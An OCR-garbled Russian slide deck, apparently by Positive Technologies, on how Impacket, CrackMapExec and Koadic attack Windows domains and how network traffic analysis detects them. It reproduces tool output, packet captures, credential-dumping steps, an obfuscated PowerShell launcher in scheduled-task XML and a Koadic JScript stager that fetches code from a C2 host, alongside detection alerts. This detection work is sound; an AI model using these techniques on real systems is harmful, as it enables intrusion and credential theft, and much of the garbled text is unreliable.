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NMpodamnn MHCTPYMEHTOB

Haé6op python-
Moayneu
HABngeTcd ocHOBOM

019 PA3PAGOTKM
MHCTPYMEHTOB O/15 ATAK.

[lopoepXxnBaeT NouTn BCe
npoTtokosbl B Windows-

MHPPACTPYKTYPE.



NMpodamnn MHCTPYMEHTOB

Haé6op python- LLiseruapckuin HOX
Moayneu
ABnNaeTcs OCHOBOM ABTOMATUINPYET CLLEHAPUN
0115 PA3PAGOTKM OT YOONEHHOrO NepeYncreHms
MHCTPYMEHTOB A9 ATAK. ceccum Nonb3oBaTenemn

HO XOCTAX OO0 BbINOHEHNS

[lopoepXxnBaeT NouTn BCe ik
NPOTOKOMb B Windows- KOMOHA 0715 3anycka mimikatz

MHOPACTPYKTYPE B NaMaTh ¢ noMoLbio PowerShell.



NMpodamnn MHCTPYMEHTOB

Haé6op python- LLiBeuapckuin HOX HecTtanpapTHbIK
Mopyneun noaxon

ABNSeTCS OCHOBOW ABTOMATU3NPYET CLEHAPUM Windows Scripting Host
019 PA3PABOTKN OT YAQNEHHOrO NepevncneHns (JS/VBS) BmMecTo PowerShell
MHCTPYMEHTOB ONs ATAK. ceccuin Nonb3oBaTenemn 015 BbINOSHEHNS KOAA
MonnepX1BAET NOYTH BCe HO XOCTAX A0 BbIMOHEHWS HO YOONEHHOM XOCTe.
npoTtokosbl B Windows- KOMAHA ANt 3anycka mimikatz [MToogonxaTens TpeHad

UHOPACTPYKTYPE. B NAMSATK ¢ nomoLsio PowerShell. living off the land.



NMouMepsbl aTak

Impacket u CrackMapExec

APT-rpynnuvposka Dragonfly atakosana B oktadpe 2017
aHepreTmnyeckyio nHopactTpykTypy CLLA.

Koadic

APT-rpynnuposka Sofacy (aka APT28) B nioHe 2018 aTtakoBad
NOOBUTENBCTBEHHbBIE OPraHnaaumMmn CerepHo AMepuk 1 EBponbl

APT-rpynnvposka MuddyWater no coctogHmio HAO okTa6pb 2018
NPOOOIXAET ATAKOBATL MPABUTENBCTBEHHbBIE M BOEHHbIE
opraHmaalnm Moaka 1 CaynoBckom ApaBim



https://www.us-cert.gov/ncas/alerts/TA17-293A
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://exchange.xforce.ibmcloud.com/collection/MuddyWater-APT-Latest-Activity-1bbd9a8d3c5de9db2bb257660f022926
https://exchange.xforce.ibmcloud.com/collection/MuddyWater-APT-Latest-Activity-1bbd9a8d3c5de9db2bb257660f022926
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YeMm onaceH Impacket e

BBCH/IMO,EI,GI?ICTByeT 4 geceeeeeee » BoinonHgaeT KOMAHObI
. . ®-..., .
C peecTPOM YAANEHHO P YOOEHHO, & ToM uncne
‘ ’ c ncnone3csaHmem WMI, Task

Scheduler, DCOM, SMB

OCYLLECTBNAET ATAKY -eeeeeees 0 IMPACKET 0 --------- > [lpoBOOMT pPa3BEOKY
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M YNPOBASET UHCTAHCOMM : OOHHbIE nz NTDS.dit, SAM,
v LSA, SECURITY reg key
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NOBbILLAET MpumBUnernn
B JOYEpPHEM OOMeHe



Impacket secretsdump

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
o
Yro penaer: word:
i stry is in stopped state
‘ta\tlﬁg service RemoteRegistry
info for 1D

[lonydeHne pasnnUHbIX Xelwen ¢ MALLMHbI o cess hofo or Gk

info for Data

xepTesl — SAM, LSA, NTDS.dit (c DC) i

Saving
Dumping local
cal i

Kak pa6oraerT:

aad3b435b5140
database
omain logon information (uid:encryptedHash:longDomain:domain)

1. AyteHtudpuumpyetcsa dyepes SMB

king intu NLS1
5b36d4ab0495387f1e68bbf48c06aa55: CONTOSO. LOCAL: CONTOSO
king into NL$2

2' |_|O|D||<J_| DqOeTCg K SCM VI y'DIOJ_leH HOMy Admi E:i;- iniglmLa;QSESbEQMSd d9c6f38513461:CONTOSO. LOCAL : CONTOS

Looking into NLS$4
ooking into NLS
peecTpy Lonking nto s
i into NLS7
3 6C[+] Looking into NLS8
3 Looking into NL!
3. anpawmBaAET KITKOH peeCTPa Looking into NLS10
g LSA S
ooking into SMACHINE.ACC

I_IO HpOTOKOﬂy WlNREG ONTC W 2 SC c eeaad3b435b5146€ CELELY abb77e3d9579250bfea394:::

Looking into DefaultPassword
Discarding cret DefaultPassword, NULL Data

4. COXpOHS:IeT NnoJiydeHHoe Ha MALWNRHY vy et

0000 01 00 00 00 13 F4 45 F6 79 E5 9B 44 7A BF 09 6A

QTO Ky|-O|_|_|‘erO E:)E)lt) @3 A7 72 " g:\ 5: ):%g E; rlri (1}1‘ 31 };5 57 EB F3 62

0100 0 445f679e59b447abfe96
king into
[*] NLSKM
5. 3aumwoeT cnenpl s cc o 50 10 51 4 s ap o

75 1C AC D4 96 F6 D& DC 59
85 SE 13 29 4 1E 49 07 71
0030 OE FC 5C 45 27 98 58 DC 00 6B




Impacket secretsdump:

3anpoc Kaoua peectpa

SYSTEMACurrentControlSet\.Control\Ls.a.\

Frame 71: 334 bytes on wire (2672 bits), 334 bytes captured (2672 bits)

Ethernet II, Src: Vmware_c0:80:01 (08:50:56:c0:08:81), Dst: Vmware_36:6e:dd (0B:0c:29:36:6e:dd)
Internet Protocol Version 4, Src: 172.16.164.1, Dst: 172.16.164.130

Transmission Control Protocol, Src Port: 43520, Dst Port: 445, Seq: 3837, Ack: 3573, Len: 268
NetBIOS Session Service

SMB2 (Server Message Block Protocol version 2)

Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, |

Remote Registry Service, OpenKey
Operation: OpenKey (15)
Response 1n frame: 74

4 ¥ ¥V ¥ ¥ ¥ V¥V

» Pointer to Parent Handle _handle
Keyname: : SYSTEM\CurrentControlSet\Controli\Lsa\JD
b ODpPLIONS: OXoooooon e Uption Volatile: X _VOLATILE 1is SET

I
r Access Mask: Ox02000000



Impacket secretsdump:

nonydyeHuve ¢$amna atakyoLwmm

» SMB2 (Serwver Message Block Protocol version 2)

» Distributed Computing Enyd / Remote Procedure Call (DC
¥ Remote Registry Service, | SaveKey

Operation: SaveKey (20
[Response in frame: 142]
¥ Pointer to Handle (policy_handle)
» Policy Handle: CreateKey(<...=>)
¥ Pointer to Filename (winreg_String)
¥ Filename:
Name Len: 26
Name Size: 26
v Filename
Referent ID: @xBO0DE489d
Max Count: 13
Offset: @
ctyal Coupf- 13
Filename: nUXhpFtz.tmp
NULL P . trib (KeySecurityAttribute)




Impacket secretsdump:

nonydyeHuve ¢$amna atakyoLwmm

def __retrieveHive(self, hiveName):

tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tMp' eeccccep nUthF‘tZ‘tmp

ans = rrp.hOpenLocalMachine{self._ rrp)

regHandle = ans['phKey'] S COXpOHeHVIe
¢ KImo4a peecTpd
vy B dann

» SMB2 (Serwver Message Block Protocol version 2)
» Distributed Computing Enyd / Remote Procedure Call (DC
¥ Remote Registry Service, | SaveKey
Operation: SaveKey {Zdﬂ
[Response in frame: 142]
¥ Pointer to Handle (policy_handle)
» Policy Handle: CreateKey(<...=>)
¥ Pointer to Filename (winreg_String)
¥ Filename:
Name Len: 26
Name Size: 26
v Filename
Referent ID: @xBEOE489d
Max Count: 13
Offset: @
ctyal Coupfe 13
Filename: nUXhpFtz.tmp
NULL P . trib (KeySecurityAttribute)




Impacket secretsdump:

nonydyeHuve ¢$amna atakyoLwmm

def __retrieveHive(self, hiveName):

tmpFileName = ''.join([random.choice({string.letters) for
= rrp.hOpenLocalMachine(self.__rrp)

ans

regHandle = ans['phKey']

¥ SMBZ (Server Message Block Protocol version 2)

¢ SMB2 Header
¥ Create Request (0x@5)
StructureSize: Ox0039
Oplock: No oplock (0x0)

B

Impersonation: Impersonation (2)
Create Flags: ©x00EEEEQEEREEE000

Access Mask: 9x@ReeR001
File Attributes: @xE0008080

Share Access:

0x00eEee01, Read

CKa4ymBaHMe
danna

4...............

_inrange(®)]) + Lt e N U X N pPFTZ. . tm.p..

CoxpaHeHne
KIKo4a peecTpda
B damn

4.......

» SMB2 (Serwver Message Block Protocol version 2)

» Distributed Computing En
¥ Remote Registry Service,

Operation: SaveKey (20

i / Remote Procedure Call (DC
SaveKey

[Response in frame: 142]

¥ Pointer to Handle (policy_handle)
» Policy Handle: CreateKey(<...=>)
¥ Pointer to Filename (winreg_String)

v Filename:
Name Len: 26
Name Size: 26
v Filename

Referent ID: @xB008489d

Max Count: 13
Offset: @
ctyal Count -

13

Filename: nUXhpFtz.tmp

NULL P

trib (KeySecurityAttribute)



Impacket smbexec

UYTto penaer:

BbIMOJIHAST KOMAOHOb!I YOONIEeHHO

Kak pa6oraerT:

1. AyTteHtndpuumpyetca yepes SMB

2. OTnpaengeT 3anpocC HA OTKPbITHE
ServiceControlManager

3. OTnpaengeT 3anpoc HA Co3gaHme
cepBunca

4. OTNPaBAFET 3AMNPOC HA CTAPT
cepBunca

5. OTnpaengeT KOMAHObl M Noay4aeT

OoTBETHI

Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

EE T T
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows'\s 2>whoami

2=ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

IPv4 Address. . . . . . . . . . . : 192.168.241.102
Subnet Mask : . .255.8
Default Gateway 1192 241.100

Tunnel adapter isatap.{BE2E72AC-F463-4D3A-A0C4-1CESEFAD7182}:
Connection-specific DNS Suffix
Link-local IPv6 Address . . . . . : TeB80::5efe:192.168.241

Default Gateway

C:\Windows\system32=|]

.102%12




Impacket smbexec:

3anpoc Ha oTkpbiTue SCM

def hROpenSCMonoqerW(dce, B SME (Server Message Block Protocol)
||EMgch]neNOme:‘DUMMY\XOO' I eccccccccceccces , B Distributed Computing Environment / Remote Procedure Call
. : - . : ¥ Microsoft Service Control, OpenSCManagerW
loDatabaseName='ServicesActive\x00), : Operation: OpenSCManagerW (15)
dwDesiredAccess= : rEﬁaesp_mn:e in EG:'Q? 29]
. ¥ MachineName:
gESx:gE_giéiTll E Referent ID: @x@0O2d358
- . Max Count: &
SERVICE_CHANGE_CONFIG | : Offset: ©
SERVICE_QUERY_CONFIG|SERVICE_QUERY_STATUS§ L gunt. 6 ,
| SERVICE_ENUMERATE_DEPENDENTS| ™~ > Llachinetanc: pumv] |
SC_MANAGER_ENUMERATE_SERVICE): heferent ID: Ox0000353a
Max Count: 15
Offset: @

Actual Count: 15
Database: ServicesActive
» Access Mask: @xEEOEEE3T



Impacket smbexec:

BbiNOJIHEHUE KOMAHAbI

» SMB (Server Message Block Protocol)
» Distributed Computlng Environment / Remote Procedure Call (DCE/RPC

=
peratlon CreateServ1cew (12

Pollcy Handle: OpenSCManagerW(DUMMY\)
Service Name: BTOBTO
Display Name: BTOBTO
Referent ID: Ox00004453
Max Count: 7
Offset: ©
Actual Count: 7
Display Name: BTOBTO
Access Mask: Ox000fO1ff
» Service Type: Ox00000010
Service Start Type: SERVICE_DEMAND_START (3)
Service Error Control: SERVICE_ERROR_IGNORE (©)
Binary Path Name: %COMSPEC% /Q /c echo cd /> \\127.0.0.1\C$\__¢
Max Count: 142

A2 4

> %COMSPEC%../Q../c. echo. .cd..
2> A\\127.0..0.1\.C$\._._outp.u.t.
2°0>080 >,
% TEMP.%\.execute.b.at &
%.COMSPEC%. ./Q../c.
\execute b.at & del
\.ex.ecute.b.at.

4

v

P.%.
P.%.

4
®c000000000000000000000000000000000

Offset: ©
tual Copnt - 149
'Binary Path Name: %COMSPEC% /Q /c echo cd A> \\127.0.0.1\CS$\ I“""
NU olnter: Loa rder Group
Tag Id: ©

NULL Pointer: Dependencies

Depend Size: ©
NULL Pointer: Service Start Name jTE}rE;}{Il(]:
NULL Pointer: Password

Password Size: ©

Hardcode Arguments



Kak o6Hapy)xuTtb impacket

6

WINREG-3anpocthl
onpefeneHHbIxX Kmoden
peecTpa

€<

OTnnummbin GoPMAT MMEH
damnos 1 SYSTEM32
B KQ4YecTBe share

¢

PaéoTta mooynem dyepes Service
Control Manager (SCM),
APl KOoTOpOro BuaeH B TpOGUKE

4

¢

XAPOKTEPHBIM CMOCO6 GOPMUPOBAHUS
KOMQOH[, CEPBUCA N GUKCUPOBOHHbLIE
YUYACTKM KOOO MOaynd ong padoTsl ¢ SCM



secretsdump

14:32:54.6... 14:32:54.8000 14:32:55.0000 14:32:55.2000 14:32:55.4000 14:32:55.6000 14:32:55.8000 14:32:56.0000 14:32:56.2000 14:32:56.4000 14:32:56.6000 14:32:56.8000 14:32:57.0000 14:32:57.2000 14:32:57.4000 14:32:57.6000 14:32:57.8000 14:32:58.0000 14:32:58.2000 14

Shown 11 rows — Checked 0 rows

! Message Class ¥ L)) Alert timesta.. « Source IP Source port
ATTACK [PTsecurity] Impacket tool SCM Command Execution. OpenSCManagerW request Attempted Administrator Privilege Gain ]Igggggw 192.168.241.1 38054
ATTACK [PTsecurity] Impacket tool SCM Command Execution. OpenSCManagerW request Attempted Administrator Privilege Gain mgg%gw 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump LSA. OpenKey Attempted Administrator Privilege Gain :Ilgggggw 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump LSA. OpenKey Attempted Administrator Privilege Gain ]gggg%gw 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump LSA. OpenKey Attempted Administrator Privilege Gain 13523%2‘8 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump LSA. OpenKey Attempted Administrator Privilege Gain 1233%218 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump LSA. OpenKey Attempted Administrator Privilege Gain ]g;gg%gw 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump SAM. CreateKey Attempted Administrator Privilege Gain lgggggw 192.168.241.1 38054
ATTACK [PTsecurity] WINREG dump SECURITY. CreateKey Attempted Administrator Privilege Gain ]2%3%218 192.168.241.1 38054
ATTACK AD [PTsecurity] WINREG dump NTDS. OpenKey Attempted Administrator Privilege Gain 16.08.2018 192.168.241.1 38054

14:32:57



13:25.00 13:30:00 13:35:.00 13:40:00 13:45.00

Shown 16 rows — Checked 0 rows
! Message ~

ATTACK [PTsecurity] SMB SCM Command Execution with $COMSPEC%. CreateServiceW request
ATTACK [PTsecurity] SMB SCM Command Execution with %COMSPEC%. CreateServiceW request
ATTACK [PTsecurity] SMB SCM Command Execution with %COMSPEC%. CreateServiceW request
ATTACK [PTsecurity] SMB SCM Command Execution with %COMSPEC%. CreateServiceW request
ATTACK [PTsecurity] Impacket tool SCM Command Execution. OpenSCManagerW request
ATTACK [PTsecurity] Impacket tool SCM Command Execution. OpenSCManagerW request
ATTACK [PTsecurity] Impacket tool SCM Command Execution. CreateServiceW request

ATTACK [PTsecurity] Impacket tool SCM Command Execution. CreateServiceW request

ATTACK [PTsecurity] Impacket tool SCM Command Execution. CreateServiceW request

ATTACK [PTsecurity] Impacket tool SCM Command Execution. CreateServiceW request

13:50:00 13:55:.00

Class

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

Attempted Administrator Privilege Gain

14:00:00

14:05:.00

Alert timestamp

22.06.2018
14:23:57

22.06.2018
14:24:02

22.06.2018
14:24:06
22.06.2018
14:24:14

22.06.2018
14:23:39

22.06.2018
14:23:42

22.06.2018
14:23:39

22.06.2018
14:23:42

22.06.2018
14:23:51

22.06.2018
14:23:57

14:10:00

Source IP

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

172.16.164.1

14:15:00

Source port

53624

53624

53624

53624

53624

53624

53624

53624

53624

53624

Sc
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Yem onacen CME =T

IMeeT HO 6OPTY AreHT wweeeeeeees L. v e greeeeeees > Heckonbko cnoco6os
Empire — ¢ppenmeopka YOOIEHHOIO BbIMOSTHEHWS
019 MOCT-3KCNAyaTAUMN 'Y »® KOMQHL C OMNUMOHASBbHOM
n meterpeter o6¢hyckaumen

Exec
MLLET Y DOCLUUBPOBLIBAET <verrererei  toreerecneess™ oo » ABTOMOTU3MPOBAHHDIN
MHGOPMALMIO MNONCK CKTUBHOWM
O COXPAHEHHbBIX CECCUSX CECCUU [OMEHHOTO
07159 YAQNEHHOrO OOMUHUCTPATOPA

nogktouenms (PuTTY, RDP) (bloodhound)



CME Bloodhound

UYto penaer:

CobupaeT OaHHbIe O NONB3OBATENSAX, MALLMHAX, TPYMNAX U CECCUAX, MCMNONBb3YS
Bloodhound



Bloodhound

] MLIZARRAGA@EXTERNAL.LOCAL F. Y
KSUITS@EXTERMAL .LOCAL >
Database Info Naode Info Querias

Find all Domain Admins
Find Shortest Paths to Domain Admins

Find logged in admins ACHAVARINGEX @
Find Top 10 Users with Most Sessions

=

Find Top 10 Computers with Most Sessions

Find Top 10 Users with Mest Local Admin Rights
Find Top 10 Computers with Most Admins

Users with Foreign Domain Group Membership
Groups with Foreign Domain Group Membership

B Py i T

RIFFIN@EXTERNAL.LOCAL
LSPARR@EXTERNAED @G CK@EXTERNAL. LOCAL

MpoaBuHyTLIe aTakK Ha Microsoft Active Directory: cnoco6bl OGHAPRYXEHUS U 3ALLUTLI:
https://www.ptsecurity.com/ru-ru/research/webinar/2920582



https://www.ptsecurity.com/ru-ru/research/webinar/290582/

CME Bloodhound

YTto penaer:

CobupaeT OaHHbIe O NONB3OBATENSAX, MALLMHAX, TPYMNAX U CECCUAX, MCMNONBb3YS
Bloodhound

Kak pa6ortaerT:

1. Co300&T CepBUC M 3AMYCKAET ero C MCNoNb30BAHMEM AtsvC 1 smb,
nepenaBas BHYTPW 06YCLUMPOOBAHHbIE APIYMEHThl K cmd.exe

2. [llepenaet Bloodhound xepTBe 1 3anyCcKAeT ero
3. TlonydaeT pesynbTaThl recon

2 445 WING2 [*] Winc i e 7607 (name:WIN®G2) (domain:CONTOSO) (signing:False) (SMBv1:True)
v 2 445 WIN \
BLOODHOU... 192.168.241.102 445 WIN®2
BLOODHOU. .. [*
BLOODHOU... 192.168.241.16: [*] - - "GET /B -modified.ps1 HTTP/1.1" 200 -
BLOODHOU. .. 168 .10: X i ay . this can take a few minut
BLOODHOU. .. ] .102 *1 - - 1" -
BLOODHOU. ..
BLOODHOU. ..
BLOODHOU. ..

output v-1¢ 0-15_102244.c
fully retrei




CME bloodhound

[MS-TSCH], atsvc
DCERPC, Opnum: 1 (NetrJobAdd)

<?xm.l version="1.0." en.coding="UTF.-
167>
<Task wversion="1.2"
xmlns="http.:/./schemas.m.icros.oft.co
m./w.indow.s./2004./02/mit/task">.

..<Trig.gers.>.

.. <C.alendarTrig.g.e.r.>.

.......<StartBoundary>2015-0.7.-
157.20.:35:13.275729.4</StartBoundary

->-

.. <Enabled>true</Enabled>.

<C.omm.and>cmd.exe</C.omm.and.>.

.. <Arguments>/C. powershell.exe. -
exec. bypass. .—.noni.-nop.—w. 1 .-C. " "$[
set-VvAriab.LE 'ofS' ). "+ [StRinGl(
191.J.78A1.01d11.6..4.6.:.8.3.,1.01W.11.4.J118.;1.0.5.,99.
1.0.1.28.0.2111W.1.0.5W.11.0.:1.1.6..7.7.,.9.7.A11.0.d.9.7.W.
1.0.3.W.1.01.d.11.4W.9.3.d.58{5828.3.,.101W.114W.118.
s1.01{114.d.6.7s10.1,11.4W.116.1.05210.2.J105A99.
$.9.7.7211.6.d.101J.8.6.{9.7.21.0872105A10.0.29..



CME bloodhound

3anpoc Bcex

nonb3oBATENeun OMeHa

SAM_NORMAL_USER_ACCOUNT

v Filter: (samAccountType=805306368)
v filter: equalityMatch (3)

v equalityMatch

I attributeDesc: samAccountType

assertionValue:

805306368 I

v attributes: 4 items

AttributeDescription:
AttributeDescription:
AttributeDescription:
AttributeDescription:

samaccountname
distinguishedname
cn

objectsid

3anpoc Bcex
MALUMH AOMEHQa

SAM_MACHINE_ACCOUNT

v Filter: (sAMAccountType=805306369)
v filter: equalityMatch (3)
v equalityMatch
attributeDesc: sAMAccount?;E;]
I assertionValue: 805306369
v attributes: 1 item
AttributeDescription: objectsid




CME bloodhound

Onpoc cTaHaApPTHLIX rpynn

v Filter: (memberof=*)
v filter: present (7)
present: memberof
v attributes: 7 items
AttributeDescription:
AttributeDescription:
AttributeDescription:
AttributeDescription:
AttributeDescription:
AttributeDescription:
AttributeDescription:

samaccountname
distinguishedname
cn

dnshostname
samaccounttype
primarygroupid
memberof

VvV VvV VVFVYVFVFVYyVYVYVYVYY

LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage
LDAPMessage

searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)
searchResEntry(43)

"CN=Administrator,CN=Users, DC=contoso,DC=local" [22 resu
"CN=Guest, CN=Users, DC=contoso,DC=1local" [22 results]

"CN=5-1-5-11,CN=ForeignSecurityPrincipals, DC=contoso,DC=
"CN=krbtgt, CN=Users, DC=contoso,DC=1local” [22 results]

"CN=Domain Controllers, CN=Users, DC=contoso, DC=local" [22
"CN=Schema Admins,CN=Users,DC=contoso,DC=local" [22 resu
"CN=Enterprise Admins,CN=Users,DC=contoso,DC=local" [22
"CN=Cert Publishers,CN=Users,DC=contoso,DC=local"™ [22 re
"CN=Domain Admins,CN=Users,DC=contoso,DC=local" [22 resu
"CN=Domain Users, CN=Users, DC=contoso, DC=local" [22 resul
"CN=Domain Guests,CN=Users,DC=contoso,DC=local" [22 resu
"CN=Group Policy Creator Owners,CN=Users, DC=contoso,DC=1
"CN=Read-only Domain Controllers, CN=Users, DC=contoso,DC=

searchResDone(43) success [22 results]



CME bloodhound

1. GetMembersinAlias ¥ POINRE itw B GRS

(Sl D_SOO/S’IQ/S’|2) B nganfsiossmS (1sa_sidPtr)
Referent ID: 0x0000000000020000
Max Count: 3

. v Sids
2. LOOkU pS'dSZ v Pointer to Sid (dom_sid2)
Referent ID: 0x0000000000020000
Count: 5

» Sid: S-1-5-21-1662520985-2934808638-3559630843-500 (Domain SID-Administrator)
3. NetSessEnum i)

v Pointer to Sid (dom_sid2)
Referent ID: ©x0000000000020000
NDR-Padding: 00000000
Count: 5
» Sid: S-1-5-21-1662520985-2934808638-3559630843-519 (Domain SID-Enterprise Admins)
v Sids
v Pointer to Sid (dom_sid2)
Referent ID: Ox0000000000020000
NDR-Padding: 00000000
Count: 5
» Sid: S-1-5-21-1662520985-2934808638-3559630843-512 (Domain SID-Domain Admins)



CME enum_avproducts

UYrto penaerT:

[lo3BoONseT y3HOTL O HOMMUKMKM AntiSpyware AntiVirus cpefcTs HO MAOLUMHE XePTBb!

Kak paéoTaer:

Co3paeT instance 1 BeINOMHIET 3anpoc ¢ nomoLlbio WQL

(name:WIN®2) (domain:CONTOSO)
B

ENUM_AVP...
ENUM_AVP...

IC
product:

ENUM_AVP. ..
ENUM_AVP...
ENUM_AVP. ..
ENUM_AVP...




CME enum_avproducts

1

..:....\.\.r.o.o.t.\.S.e.c.u.r.i.t.y.C.e.n.t.e.r.2........

2.
WQL.S.LB.L.Select ”. From.
AntiSpyw.areProduct... ...

AntiSpywareProduct. Windows
Defender. {D68DDC3A-831F-4fae-9EL4-
DA132CIACF46}.. %ProgramFiles% \Windows
Defender\MSASCui.exe..%ProgramFiles%\
Windows Defender\MsMpeng.exe..Mon,
03 Sep 2018 13:15:07 GMT.........

Hardcode Server Client

2.
WQLl....>..Select .” from.
AntiV.irusProdu.ct..

AntiVirusProduct.. Windows

Defender. {D68DDC3A-831F-4fae-9E4L-
DA132C1ACF46}..%ProgramFiles%\Windows
Defender\MSASCui.exe..%ProgramFiles%\
Windows Defender\MsMpeng.exe..Mon,
03 Sep 2018 12:17:02 GMT..



Kak o6Hapyxutb CME

4

WQL-3anpocte:: O6palleHVe K MNAHUPOBLLMKY
Select * from AntiVirusProduct 30004 yepes ATSVC
Select * from AntiSpywareProduct (byHKUms NetrJobAdd)

4 4\
4
3anpock! a4 [lonyueHrne cnncka 3anorMHEHHbIX
NoNyYeHUsa rpynmn u HA MALUMHE NoNb3oBATENEN

nonb3oBaTenem 13 AD (NetSessEnum)



weHue CME B PT NAD

11:40:00 11:45:00 11:50:00 11:55.00 12:00:00 12:05.00

ATTACK [PTsecurity] SMB Start of service via xml

General information

ATTACK [PTsecurity] SMB Start of service via xml
High
Attempted Administrator Privilege Gain

10003423 v 1

ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP query

General information

ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP quer A

y
Medium
Attempted Information Leak

19000031 ev 1

12:10:00 12:15:00

03.09.2018 12:34:21

03.09.2018 12:34:38

12:20:00 12:25:00 12:30:00 12:35:.00

ATTACK_MARK_FALSE...
Create an exception...
Create an incident...

Transfer into a storage...

ATTACK_MARK_FALSE..
Create an exception...
Create an incident...

Transfer into a storage..



weHue CME B PT NAD

11:40:00 11:45:00 11:50:00 11:55:00 12:00:00 12:05:00 12:10:00 121500 12:20:00 12:25:00 12:30:00

Shown 18 rows — Checked 0 rows

Message Class ¥ U Alert timestamp Source IP Source port Sc Destination IP Destin
ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP query Attempted Information Leak ?gggg%gW 8 192.168.241.203 62858 192.168.241.200 389
ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP query Attempted Information Leak ?g;gg%g* 8 192.168.241.203 62858 192.168.241.200 389
ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP query Attempted Information Leak ?g;gg%g 8 192.168.241.203 62858 192.168.241.200 389
ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP query Attempted Information Leak ?ggg%g“ 8 192.168.241.203 62858 192.168.241.200 389
ATTACK AD [PTsecurity] Domain Users Enumeration via LDAP query Attempted Information Leak ?g:-gg%gT 8 192.168.241.203 62858 192.168.241.200 389
ATTACK AD [PTsecurity] NetSess enumeration DC Attempted Information Leak ?g;gg%g* 8 192.168.241.203 62864 192.168.241.200 445
ATTACK AD [PTsecurity) NetSess enumeration user hosts Attempted Information Leak 533523%87 8 192.168.241.203 62866 192.168.241.201 445
ATTACK AD [PTsecurity] SAMR Network Recon activity. GetMembersinAlias Attempted Information Leak ggggggT 8 192.168.241.203 62864 192.168.241.200 445
ATTACK AD [PTsecurity] SAMR Network Recon activity. GetMembersinAlias Attempted Information Leak ?ggg%g.‘ 8 192.168.241.203 62866 192.168.241.201 445
ATTACK [PTsecurity] SMB Start of service via xml Attempted Administrator Privilege Gain 03.09.2018 192.168.241.1 53344 192.168.241.203 445

12:34:21



~POSITIVE TECHNOLOGIES °

1/ .‘\ @
N 23 kO a d ic // / 2

@ - ! | o |



[oBbILLIGET NPMBUNETNM
yepes obtxon UAC

MonHoueHHbIn C3 (COM q......., e, ®
Command & Control) : , @ : > DPyHKUpoHAnN Ans recon

oo
......
.
[ ®e
. .

Living off the land  «¢««+«--. 0 KOADIC ’ ......... > YnpasngeT zombies

[MoNy4YaeT OAHHDBIE queeeere..? . feeececees » Heckonbko BapuaHTOB
n3 oydepa obMeHa : YOONEeHHOro 3amnycka
v mimikatz

BbinonHgeT KOMAHAOb!
yOANEeHHO



YeMm onaceH koadic

-{ COM Command & Control }-
Endless Intellect
~[ Version: 0OxA

~[ Stagers:
~[ Implants:

(koadic: # use implant/inject/mimikatz_dotnet2]
‘koadic:

NAME VALUE DESCRIPTION

DIRECTORY  %TEMP% C writeable directory on zombie
MIMICMD sekurlsa::logonp... ye What Mimikatz command to run?
ZOMBIE ALL e the zombie to target

‘koadic:




Koadic mimikatz dotnet to js

UYto penaer:

3anyckaeT mimikatz HO MALKHE XepTBbI

Kak pa6ortaerT:

YCTOHABMIMBOET ceccumio ¢ zombie
2. BbeinonHgert inject dll

3. 3anyck mimikatz v nonydeHne OaHHbIX ¢ output B Tene
POST-3anpocos

Pduun/HIOAHCHI:

* [lepenaya cepmanmMaoBaHHOIO o6bekTa 1 basedbds dll
*  Wcnonbayet https://github.com/tyranid/DotNetToJScript



Koadic mimikatz dotnet to js

MepBbiit 3anpoc CnC, nepepaeTcs OCHOBHOE TeNo

GET /rwEpO HTTP/1.1

Accept: */*

Accept-Language: en-US
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0
(compatible; MSIE 7.0; Windows
NT 10.0: Winé4: xé64: Trident/7.0;
NET4.0C; NET4.0E; .NET CLR
2.0.50727; NET CLR 3.0.30729;
NET CLR 3.5.30729)

Host: 192.168.241.1:.9999
Connection: Keep-Alive

HTTP/1.8 200 0K
Server: Apache
Date: Wed, 12 Sep 2018 10:55:86 GMT

<html>

<head>

<script language="JScript">
window.resizeTo(1, 1);
window.moveTo(-2000, -2000);
window.blur();

try

{ .
window.onfocus
window.onerror

function() { window.blur(); }

}
catch (e){}

var OMFIRBNXQY =

function(sMsg, sUrl, sLine) { return false; }

{

FS : new ActiveXObject("Scripting.FileSystemObject"),
WS : new ActiveXObject("WScript.Shell"),

STAGER : "http://192.168.241.1:9999/rwEp0",
SESSIONKEY : "9a1411e67297T4d959badc5db35bdeb94",
JOBKEY : "",

EXPIRE : "999999999999999"

JOBKEYPATH : "http://192.168.241.1:9999/rwEp0?sid=9a1411e672974d959badc5db35bdeb94 ;csri="

i



Koadic mimikatz dotnet to js

Nocnepyowme sanpocsl

GET
/rwEpO7?sid=9a1411e6729f4d959badc5db35bd
eb%4;csrf=dd7dé6ffd088242cca80cl4cch3/tbsh
